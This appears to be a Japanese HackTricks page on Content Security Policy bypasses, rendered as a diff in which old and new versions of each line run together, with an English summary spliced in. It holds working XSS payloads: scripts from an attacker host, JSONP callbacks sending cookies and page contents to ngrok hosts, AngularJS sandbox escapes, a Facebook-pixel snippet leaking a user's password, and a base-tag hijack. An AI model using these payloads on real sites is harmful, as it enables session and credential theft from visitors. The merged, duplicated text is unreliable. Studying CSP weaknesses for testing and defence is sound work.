* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する * **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに貢献する
</details> </details>
@ -25,17 +25,17 @@ HackTricks をサポートする他の方法:
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく
**最新の発表**\ **最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新について知らされ 最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得
**[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう! **[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
## CSPとは ## CSPとは
Content Security PolicyCSPは、主に **クロスサイトスクリプティングXSSなどの攻撃から保護する**ことを目的としたブラウザ技術として認識されています。これは、ブラウザが安全に読み込むリソースのパスとソースを定義して詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどの要素が含まれます。たとえば、ポリシーは、同じドメインselfからのリソースの読み込みと実行、インラインリソースの実行、および `eval`、`setTimeout`、または `setInterval` などの関数を介した文字列コードの実行を許可する可能性があります。 Content Security PolicyCSPは、主に **クロスサイトスクリプティングXSSなどの攻撃から保護する**ことを目的としたブラウザ技術として認識されています。これは、ブラウザが安全に読み込むリソースのパスとソースを定義して詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどの要素が含まれます。たとえば、ポリシーは、同じドメインselfからのリソースの読み込みと実行を許可し、インラインリソースや `eval`、`setTimeout`、`setInterval`などの関数を介して文字列コードの実行を許可する可能性があります。
CSPの実装は、**レスポンスヘッダ**を介して行われるか、**HTMLページにメタ要素を組み込む**ことによって行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。 CSPの実装は、**レスポンスヘッダーを介して**または **HTMLページにメタ要素を組み込むことによって**行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。
- レスポンスヘッダを介して実装されます: - レスポンスヘッダーを介して実装されます:
``` ```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
``` ```
@ -45,7 +45,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
``` ```
### ヘッダー ### ヘッダー
CSPはこれらのヘッダーを使用して強制または監視できます: これらのヘッダーを使用してCSPを強制したり監視したりできます:
- `Content-Security-Policy`CSPを強制します。ブラウザは違反をブロックします。 - `Content-Security-Policy`CSPを強制します。ブラウザは違反をブロックします。
- `Content-Security-Policy-Report-Only`:監視に使用され、違反をブロックせずに報告します。本番環境でのテストに最適です。 - `Content-Security-Policy-Report-Only`:監視に使用され、違反をブロックせずに報告します。本番環境でのテストに最適です。
@ -66,47 +66,47 @@ object-src 'none';
``` ```
### ディレクティブ ### ディレクティブ
- **script-src**: JavaScriptの特定ソースURL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトを許可します。 * **script-src**: URL、インラインスクリプト、およびイベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトを含む、JavaScriptの特定ソースを許可します。
- **default-src**: 特定のフェッチディレクティブが欠落している場合にリソースの取得のデフォルトポリシーを設定します。 * **default-src**: 特定のフェッチディレクティブが欠落している場合にリソースを取得するためのデフォルトポリシーを設定します。
- **child-src**: Webワーカーや埋め込みフレームコンテンツに許可されたリソースを指定します。 * **child-src**: ウェブワーカーや埋め込みフレームコンテンツに許可されるリソースを指定します。
- **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用してロードできるURLを制限します。 * **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用してロードできるURLを制限します。
- **frame-src**: フレームのURLを制限します。 * **frame-src**: フレームのURLを制限します。
- **frame-ancestors**: 現在のページを埋め込むことができるソースを指定し、`<frame>`、`<iframe>`、`<object>`、`<embed>`、`<applet>`などの要素に適用されます。 * **frame-ancestors**: 現在のページを埋め込むことができるソースを指定し、`<frame>`、`<iframe>`、`<object>`、`<embed>`、`<applet>`などの要素に適用されます。
- **img-src**: 画像の許可されたソースを定義します。 * **img-src**: 画像の許可されたソースを定義します。
- **font-src**: `@font-face`を使用してロードされるフォントの有効なソースを指定します。 * **font-src**: `@font-face`を使用してロードされるフォントの有効なソースを指定します。
- **manifest-src**: アプリケーションマニフェストファイルの許可されたソースを定義します。 * **manifest-src**: アプリケーションマニフェストファイルの許可されたソースを定義します。
- **media-src**: メディアオブジェクトをロードするための許可されたソースを定義します。 * **media-src**: メディアオブジェクトをロードするための許可されたソースを定義します。
- **object-src**: `<object>`、`<embed>`、`<applet>`要素の許可されたソースを定義します。 * **object-src**: `<object>`、`<embed>`、`<applet>`要素の許可されたソースを定義します。
- **base-uri**: `<base>`要素を使用してロードするために許可されたURLを指定します。 * **base-uri**: `<base>`要素を使用してロードするための許可されたURLを指定します。
- **form-action**: フォーム送信のための有効なエンドポイントをリストします。 * **form-action**: フォーム送信のための有効なエンドポイントをリストします。
- **plugin-types**: ページが呼び出すことができるMIMEタイプを制限します。 * **plugin-types**: ページが呼び出すことができるMIMEタイプを制限します。
- **upgrade-insecure-requests**: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。 * **upgrade-insecure-requests**: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
- **sandbox**: `<iframe>`のsandbox属性に類似した制限を適用します。 * **sandbox**: `<iframe>`のsandbox属性に類似した制限を適用します。
- **report-to**: ポリシーが違反された場合にレポートが送信されるグループを指定します。 * **report-to**: ポリシーが違反された場合にレポートが送信されるグループを指定します。
- **worker-src**: Worker、SharedWorker、またはServiceWorkerスクリプトの有効なソースを指定します。 * **worker-src**: Worker、SharedWorker、またはServiceWorkerスクリプトの有効なソースを指定します。
- **prefetch-src**: フェッチまたはプリフェッチされるリソースの有効なソースを指定します。 * **prefetch-src**: フェッチまたはプリフェッチされるリソースの有効なソースを指定します。
- **navigate-to**: ドキュメントがどのような手段でナビゲートできるURLを制限しますa、form、window.location、window.openなど * **navigate-to**: ドキュメントがどのような手段でナビゲートできるURLを制限しますa、form、window.location、window.openなど
### ソース ### ソース
- `*`: `data:`、`blob:`、`filesystem:`スキームを除くすべてのURLを許可します。 * `*`: `data:`、`blob:`、`filesystem:`スキームを除くすべてのURLを許可します。
- `'self'`: 同じドメインからの読み込みを許可します。 * `'self'`: 同じドメインからの読み込みを許可します。
- `'data'`: データスキームを介してリソースをロードすることを許可しますBase64エンコードされた画像 * `'data'`: データスキームを介してリソースをロードすることを許可しますBase64エンコードされた画像
- `'none'`: 任意のソースからの読み込みをブロックします。 * `'none'`: 任意のソースからの読み込みをブロックします。
- `'unsafe-eval'`: `eval()`などの使用を許可しますが、セキュリティ上の理由から推奨されません。 * `'unsafe-eval'`: `eval()`などの使用を許可しますが、セキュリティ上の理由から推奨されません。
- `'unsafe-hashes'`: 特定のインラインイベントハンドラを有効にします。 * `'unsafe-hashes'`: 特定のインラインイベントハンドラを有効にします。
- `'unsafe-inline'`: インラインリソース(インラインの`<script>`や`<style>`など)の使用を許可しますが、セキュリティ上の理由から推奨されません。 * `'unsafe-inline'`: インラインリソース(インラインの`<script>`や`<style>`など)の使用を許可しますが、セキュリティ上の理由から推奨されません。
- `'nonce'`: 暗号的なナンス(一度だけ使用される数値)を使用して特定のインラインスクリプトをホワイトリストに登録します。 * `'nonce'`: 暗号的なナンス(一度だけ使用される数値)を使用して特定のインラインスクリプトをホワイトリストに登録します。
- `'sha256-<hash>'`: 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。 * `'sha256-<hash>'`: 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。
- `'strict-dynamic'`: ナンスまたはハッシュによってホワイトリストに登録された場合、任意のソースからスクリプトをロードすることを許可します。 * `'strict-dynamic'`: ナンスまたはハッシュによってホワイトリストに登録された場合、任意のソースからスクリプトをロードすることを許可します。
- `'host'`: `example.com`などの特定のホストを指定します。 * `'host'`: `example.com`などの特定のホストを指定します。
- `https:`: HTTPSを使用するURLに制限します。 * `https:`: HTTPSを使用するURLに制限します。
- `blob:`: JavaScriptによって作成されたBlob URLからリソースをロードすることを許可します。 * `blob:`: JavaScriptによって作成されたBlob URLからリソースをロードすることを許可します。
- `filesystem:`: ファイルシステムからリソースをロードすることを許可します。 * `filesystem:`: ファイルシステムからリソースをロードすることを許可します。
- `'report-sample'`: 違反レポートに違反コードのサンプルを含めます(デバッグに役立ちます)。 * `'report-sample'`: 違反レポートに違反コードのサンプルを含めます(デバッグに役立ちます)。
- `'strict-origin'`: 'self'と似ていますが、ソースのプロトコルセキュリティレベルがドキュメントと一致することを確認します(セキュアなオリジンからのリソースのみがセキュアなオリジンからリソースをロードできます)。 * `'strict-origin'`: 'self'と似ていますが、ソースのプロトコルセキュリティレベルがドキュメントと一致することを確認します(セキュアなオリジンからのリソースのみがセキュアなオリジンからリソースをロードできます)。
- `'strict-origin-when-cross-origin'`: 同一オリジンのリクエストを行う際には完全なURLを送信しますが、クロスオリジンのリクエストを行う際にはオリジンのみを送信します。 * `'strict-origin-when-cross-origin'`: 同一オリジンのリクエストを行う際には完全なURLを送信しますが、クロスオリジンのリクエストの場合はオリジンのみを送信します。
- `'unsafe-allow-redirects'`: 直ちに別のリソースにリダイレクトされるリソースの読み込みを許可します。セキュリティを弱めるため、推奨されません。 * `'unsafe-allow-redirects'`: 直ちに別のリソースにリダイレクトされるリソースの読み込みを許可します。セキュリティを弱めるため、推奨されません。
```yaml ```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline'; Content-Security-Policy: script-src https://google.com 'unsafe-inline';
``` ```
@ -128,13 +128,13 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
``` ```
### strict-dynamic ### strict-dynamic
もし、**許可されたJSコードが新しいスクリプトタグをDOMに作成する**ように何らかの方法でできれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行を許可される**でしょう。 もし許可されたJSコードがあなたのJSコードでDOM内に新しいスクリプトタグを作成するようにできれば、新しいスクリプトタグは実行を許可されるでしょう。
### ワイルドカード (\*) ### ワイルドカード (\*)
```yaml ```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *; Content-Security-Policy: script-src 'self' https://google.com https: data *;
``` ```
動作するペイロード 動作するペイロード:
```markup ```markup
"/>'><script src=https://attacker-website.com/evil.js></script> "/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script> "/>'><script src=data:text/javascript,alert(1337)></script>
@ -142,7 +142,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
### object-srcとdefault-srcの不足 ### object-srcとdefault-srcの不足
{% hint style="danger" %} {% hint style="danger" %}
**これはもう機能していないようです** **この方法はもはや機能していないようです**
{% endhint %} {% endhint %}
```yaml ```yaml
Content-Security-Policy: script-src 'self' ; Content-Security-Policy: script-src 'self' ;
@ -157,27 +157,27 @@ Content-Security-Policy: script-src 'self' ;
```yaml ```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ; Content-Security-Policy: script-src 'self'; object-src 'none' ;
``` ```
もしJSファイルをアップロードできるなら、このCSPをバイパスできます もしJSファイルをアップロードできるなら、このCSPをバイパスできます:
動作するペイロード 動作するペイロード:
```markup ```markup
"/>'><script src="/uploads/picture.png.js"></script> "/>'><script src="/uploads/picture.png.js"></script>
``` ```
しかし、サーバーが**アップロードされたファイルを検証**し、**特定の種類のファイルのみをアップロード**できるように制限している可能性が非常に高いです。 しかし、サーバーが**アップロードされたファイルを検証**し、**特定の種類のファイルのみをアップロードできるように制限**している可能性が非常に高いです。
さらに、サーバーが受け入れる拡張子を使用してファイル内に**JSコードをアップロード**できたとしても(例: _script.png_、これだけでは不十分です。なぜなら、Apacheサーバーのような一部のサーバーはファイルの**MIMEタイプを拡張子に基づいて選択**し、Chromeのようなブラウザは画像であるべきものにJavaScriptコードを実行することを**拒否**するからです。"幸いにも"、間違いがあります。たとえば、CTFから学んだところによると、**Apacheは**_**.wave**_**拡張子を認識しない**ため、**audio/\***のような**MIMEタイプで提供**されません。 さらに、サーバーが受け入れる拡張子を使用してファイル内に**JSコードをアップロード**できたとしても(例: _script.png_、これだけでは不十分です。なぜなら、Apacheサーバーのような一部のサーバーはファイルの**MIMEタイプを拡張子に基づいて選択**し、Chromeのようなブラウザは画像であるべきものに含まれるJavascriptコードの実行を**拒否**するからです。"幸いにも"、間違いがあります。たとえば、CTFから学んだところによると、**Apacheは**_**.wave**_**拡張子を認識しない**ため、**audio/\***のような**MIMEタイプで提供**されません。
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけることができ、その拡張子とスクリプトの内容を持つファイルをアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することもできます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。 ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することもできます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
### サードパーティエンドポイント + ('unsafe-eval') ### サードパーティエンドポイント + ('unsafe-eval')
{% hint style="warning" %} {% hint style="warning" %}
以下のペイロードの一部については、**`unsafe-eval`が必要ない**ことがあります。 以下のペイロードの一部には、**`unsafe-eval`が必要ない**ものもあります。
{% endhint %} {% endhint %}
```yaml ```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval'; Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
``` ```
### Angularの脆弱性バージョンを読み込んで任意のJSを実行する ## Angularの脆弱性バージョンを読み込んで任意のJSを実行する:
```xml ```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -201,7 +201,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
#### Angular + `window`オブジェクトを返す関数を持つライブラリを使用したペイロード([この投稿をチェック](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/): #### Angular + `window`オブジェクトを返す関数を持つライブラリを使用したペイロード([この投稿をチェック](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/):
{% hint style="info" %} {% hint style="info" %}
この投稿では、`cdn.cloudflare.com`または他の許可されたJSライブラリリポジトリからすべてのライブラリを**ロード**し、各ライブラリから追加されたすべての関数を実行し、**どのライブラリのどの関数が`window`オブジェクトを返すか**を確認できることを示しています。 この投稿では、`cdn.cloudflare.com`または他の許可されたJSライブラリリポジトリからすべてのライブラリを**ロード**し、各ライブラリから追加されたすべての関数を実行し、**どのライブラリのどの関数が`window`オブジェクトを返すか**を確認できることが示されています。
{% endhint %} {% endhint %}
```markup ```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
@ -228,7 +228,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
``` ```
#### Google reCAPTCHA JSコードの悪用 #### Google reCAPTCHA JSコードの悪用
[**このCTF解説**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves)によると、CSP内で[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)を悪用して、CSPをバイパスして任意のJSコードを実行することができます。 [**このCTF解説**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves)によると、CSP内で[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)を悪用して、CSPをバイパスして任意のJSコードを実行できる可能性があります。
```html ```html
<div <div
ng-controller="CarouselController as c" ng-controller="CarouselController as c"
@ -243,7 +243,7 @@ ng-init="c.init()"
```http ```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
``` ```
以下のようなシナリオでは、`script-src` が `self` と特定のホワイトリストに登録されたドメインに設定されている場合、JSONP を使用してバイパスすることができます。JSONP エンドポイントはセキュリティの弱いコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。動作するペイロード: 以下のようなシナリオでは、`script-src` が `self` と特定のホワイトリストに登録されたドメインに設定されている場合、JSONP を使用してバイパスすることができます。JSONP エンドポイントは安全でないコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。有効なペイロード:
```markup ```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script> "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -253,12 +253,12 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
https://www.youtube.com/oembed?callback=alert; https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script> <script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
``` ```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **には、さまざまなウェブサイトのCSP バイパス用のJSONP エンドポイントが含まれています。** [**JSONBee**](https://github.com/zigoo0/JSONBee) **には、さまざまなウェブサイトのCSPバイパス用に使用できるJSONPエンドポイントが含まれています。**
**信頼されたエンドポイントにオープンリダイレクトが含まれている場合、同じ脆弱性が発生します**。初期エンドポイントが信頼されている場合、リダイレクトも信頼されます。 同じ脆弱性が発生する可能性があります**信頼されたエンドポイントにオープンリダイレクトが含まれている場合**、初期エンドポイントが信頼されている場合、リダイレクトも信頼されます。
### サードパーティの悪用 ### サードパーティの悪用
[次の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSP で許可されている可能性がある多くのサードパーティドメインは、データの外部流出やJavaScript コードの実行など、悪用される可能性があります。これらのサードパーティの一部は次のとおりです: [次の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性がある多くのサードパーティドメインは、データの外部流出やJavaScriptコードの実行など、悪用される可能性があります。これらのサードパーティの一部は次のとおりです
| エンティティ | 許可されたドメイン | 機能 | | エンティティ | 許可されたドメイン | 機能 |
|--------|----------------|--------------| |--------|----------------|--------------|
@ -271,51 +271,59 @@ https://www.youtube.com/oembed?callback=alert;
| Salesforce Heroku | *.herokuapp.com | 外部流出、実行 | | Salesforce Heroku | *.herokuapp.com | 外部流出、実行 |
| Google Firebase | *.firebaseapp.com | 外部流出、実行 | | Google Firebase | *.firebaseapp.com | 外部流出、実行 |
ターゲットのCSP で許可されているドメインの中にいずれかが見つかった場合、そのサードパーティサービスに登録して、データを外部流出させるかコードを実行する可能性があります。 ターゲットのCSPで許可されたドメインのいずれかを見つけた場合、そのサードパーティサービスに登録して、データを外部サービスに外部流出させるかコードを実行することができる可能性があります。
たとえば、次のCSP が見つかった場合: たとえば、次のCSPを見つけた場合:
``` ```
Content-Security-Policy: default-src 'self www.facebook.com; Content-Security-Policy: default-src 'self www.facebook.com;
``` ```
## Content Security Policy (CSP) Bypass # Content Security Policy (CSP) Bypass
### Introduction ## Overview
In some scenarios, you may encounter a website that has a strict Content Security Policy (CSP) in place, which restricts the sources from which certain types of content can be loaded on the page. However, there are ways to bypass CSP protections and execute malicious scripts on the target website. In some scenarios, it may be possible to bypass Content Security Policy (CSP) restrictions to execute unauthorized scripts on a web application. This can be achieved through various techniques such as using inline scripts, dynamic script injection, or exploiting misconfigurations in the CSP headers.
### Bypass Techniques ## Techniques
1. **Inline Script Execution**: By finding a way to execute inline scripts, you can bypass CSP restrictions that block inline scripts. ### Inline Scripts
2. **Unsafe Eval**: Leveraging the `eval()` function can help bypass CSP restrictions that block the use of `eval` or `Function` for executing dynamic code. By injecting malicious code directly into HTML elements or attributes, it is possible to execute scripts bypassing CSP restrictions that prohibit inline scripts.
3. **Data: URI**: Using data: URIs to load script content can bypass CSP restrictions on loading scripts from external sources. ### Dynamic Script Injection
4. **Trusted Types Bypass**: Exploiting vulnerabilities in Trusted Types can allow bypassing CSP protections. Utilizing JavaScript to dynamically create and execute scripts can help bypass CSP restrictions that block static script URLs.
### Conclusion ### CSP Header Misconfigurations
Understanding how to bypass CSP protections is crucial for a penetration tester to identify and exploit potential security vulnerabilities in web applications. By utilizing various techniques like inline script execution, unsafe eval, data: URI, and Trusted Types bypass, you can effectively bypass CSP restrictions and execute malicious scripts on target websites. Exploiting misconfigurations in the CSP headers, such as allowing unsafe-eval or unsafe-inline, can also lead to bypassing CSP restrictions and executing unauthorized scripts.
## Mitigation
To prevent CSP bypasses, ensure that the CSP policy is correctly configured to disallow unsafe practices like inline scripts, eval functions, or overly permissive directives. Regularly review and update the CSP policy to maintain a strong security posture against such attacks.
``` ```
Content-Security-Policy: connect-src www.facebook.com; Content-Security-Policy: connect-src www.facebook.com;
``` ```
1. [こちら](https://www.facebook.com/)でFacebook Developerアカウントを作成します。 1. [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)のように、データを外部に送信することができるはずです。この場合、次の一般的な手順に従います:
1. こちらでFacebook Developerアカウントを作成します。
1. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。 1. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。
1. 「Settings -> Basic」に移動し、「App ID」を取得します。 1. 「Settings -> Basic」に移動し、「App ID」を取得します。
1. データを外部流出させたい対象サイトでは、Facebook SDKガジェット「fbq」を使用して「customEvent」とデータペイロードを介してデータを外部流出させることができます。 1. データを外部に送信したい対象サイトでは、Facebook SDKのガジェット「fbq」を直接使用して、「customEvent」とデータペイロードを介してデータを外部に送信できます。
1. アプリの「Event Manager」に移動し、作成したアプリケーションを選択しますイベントマネージャーは次のようなURLで見つけることができますhttps://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events 1. アプリの「Event Manager」に移動し、作成したアプリケーションを選択しますイベントマネージャーは次のようなURLで見つけることができますhttps://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
1. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。 1. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。
その後、被害者側で、以下のコードを実行してFacebookトラッキングピクセルを初期化し、攻撃者のFacebook Developerアカウントのapp-idを指すようにし、次のようにカスタムイベントを発行します その後、被害者側で、以下のコードを実行してFacebookトラッキングピクセルを初期化し、攻撃者のFacebook Developerアカウントのapp-idを指すようにし、次のようにカスタムイベントを発行します
```JavaScript ```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'" data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
}); });
``` ```
### 前のテーブルで指定された他の7つのサードパーティドメインに関しては、それらを悪用する方法が他にもたくさんあります。他のサードパーティの悪用に関する追加の説明については、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
### RPORelative Path Overwriteを介したバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a> ### RPORelative Path Overwriteを介したバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
前述のパス制限をバイパスするためのリダイレクトに加えて、一部のサーバーで使用できるRelative Path OverwriteRPOと呼ばれる別のテクニックがあります。 パス制限をバイパスするための前述のリダイレクトに加えて、一部のサーバーで使用できる別のテクニックであるRelative Path OverwriteRPOがあります。
たとえば、CSPがパス`https://example.com/scripts/react/`を許可している場合、次のようにバイパスできます: たとえば、CSPがパス`https://example.com/scripts/react/`を許可している場合、次のようにバイパスできます:
```html ```html
@ -325,7 +333,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
これは、ブラウザにとって、`https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しています。 これは、ブラウザにとって、`https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しています。
したがって、それらはそれをデコードし、効果的に `https://example.com/scripts/react/../angular/angular.js` をリクエストし、これは `https://example.com/scripts/angular/angular.js` と同等です。 したがって、それらはそれをデコードし、`https://example.com/scripts/react/../angular/angular.js` を要求し、これは `https://example.com/scripts/angular/angular.js` と同等です。
**ブラウザとサーバー間のURL解釈の不一致を悪用することで、パスのルールをバイパス**することができます。 **ブラウザとサーバー間のURL解釈の不一致を悪用することで、パスのルールをバイパス**することができます。
@ -343,21 +351,21 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
**base-uri** ディレクティブが欠落している場合、[**dangling markup injection**](../dangling-markup-html-scriptless-injection/) を実行するために悪用できます。 **base-uri** ディレクティブが欠落している場合、[**dangling markup injection**](../dangling-markup-html-scriptless-injection/) を実行するために悪用できます。
さらに、**ページがNonceを使用して相対パスでスクリプトを読み込んでいる場合**(例:`<script src="/js/app.js">`)、**base** **tag** を悪用して、**あなた自身のサーバーからスクリプトを読み込ませてXSSを達成**することができます。\ さらに、**ページがNonceを使用して相対パスでスクリプトを読み込んでいる場合**(例:`<script src="/js/app.js">`)、**base** **tag** を悪用して、**自分のサーバーからスクリプトを読み込ませることでXSSを達成**することができます。\
脆弱なページが**httpS**で読み込まれている場合は、baseにhttpSのURLを使用してください。 脆弱なページが**httpS**で読み込まれている場合は、baseにhttpSのURLを使用してください。
```html ```html
<base href="https://www.attacker.com/"> <base href="https://www.attacker.com/">
``` ```
### AngularJS イベント ### AngularJS イベント
特定のポリシーであるコンテンツセキュリティポリシーCSPはJavaScriptイベントを制限する場合があります。しかし、AngularJSは代替としてカスタムイベントを導入しています。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト `$event` を提供します。この `$event` オブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは `$event/event` オブジェクトには、イベントの実行チェーンに関連するオブジェクト配列を保持する `path` 属性があり、その末尾には常に `window` オブジェクトが配置されています。この構造はサンドボックス脱出戦術にとって重要です。 特定のポリシーであるContent Security Policy (CSP) はJavaScriptイベントを制限する場合があります。しかし、AngularJS は代替としてカスタムイベントを導入しています。イベント内で、AngularJS はネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト `$event` を提供します。この `$event` オブジェクトはCSP を回避するために悪用される可能性があります。特に、Chrome では `$event/event` オブジェクトには、イベントの実行チェーンに関連するオブジェクト配列を保持する `path` 属性があり、その最後には常に `window` オブジェクトが配置されています。この構造はサンドボックス脱出戦術にとって重要です。
この配列を `orderBy` フィルタに向けることで、その配列を反復処理し、末端要素(`window` オブジェクト)を利用して `alert()` のようなグローバル関数をトリガーすることが可能です。以下に示すコードスニペットは、このプロセスを説明しています この配列を `orderBy` フィルタに向けることで、その配列を反復処理し、末端要素(`window` オブジェクト)を利用して `alert()` のようなグローバル関数をトリガーすることが可能です。以下に示すコードスニペットは、このプロセスを説明しています
```xml ```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
``` ```
このスニペットは、`ng-focus`ディレクティブの使用を強調し、`$event.path|orderBy`を使用して`path`配列を操作し、`window`オブジェクトを活用して`alert()`関数を実行し、それによって`document.cookie`を明らかにします。 このスニペットは、`ng-focus`ディレクティブの使用を強調し、`$event.path|orderBy`を使用して`path`配列を操作し、`window`オブジェクトを活用して`alert()`関数を実行し、それによって`document.cookie`を明らかにします。
